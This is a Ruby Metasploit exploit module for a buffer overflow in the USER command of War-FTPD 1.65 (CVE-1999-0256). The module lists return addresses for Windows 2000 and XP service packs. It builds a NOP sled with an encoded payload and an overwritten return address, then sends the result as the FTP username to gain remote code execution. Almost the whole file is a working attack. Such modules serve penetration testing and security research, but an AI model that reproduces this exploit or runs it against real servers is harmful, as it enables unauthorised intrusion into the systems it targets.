War-FTPD 1.65 Username Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'War-FTPD 1.65 Username Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow found in the USER command
        of War-FTPD 1.65.
      },
      'Author'         => 'Fairuzan Roslan <riaf[at]mysec.org>',
      'License'        => BSD_LICENSE,
      'References'     =>
        [
          [ 'CVE', '1999-0256'],
          [ 'OSVDB', '875'    ],
          [ 'BID', '10078'	]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'    => 424,
          'BadChars' => "\x00\x0a\x0d\x40",
          'StackAdjustment' => -3500,
          'Compat'   =>
            {
              'ConnectionType' => "-find"
            }
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # Target 0
          [
            'Windows 2000 SP0-SP4 English',
            {
              'Ret'      => 0x750231e2 # ws2help.dll
            },
          ],
          # Target 1
          [
            'Windows XP SP0-SP1 English',
            {
              'Ret'      => 0x71ab1d54 # push esp, ret
            }
          ],
          # Target 2
          [
            'Windows XP SP2 English',
            {
              'Ret'      => 0x71ab9372 # push esp, ret
            }
          ],
          # Target 3
          [
            'Windows XP SP3 English',
            {
              'Ret'      => 0x71ab2b53 # push esp, ret
            }
          ]
        ],
      'DisclosureDate' => '1998-03-19'))
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    buf          = make_nops(600) + payload.encoded
    buf[485, 4]  = [ target.ret ].pack('V')

    send_cmd( ['USER', buf] , false )

    handler
    disconnect
  end
end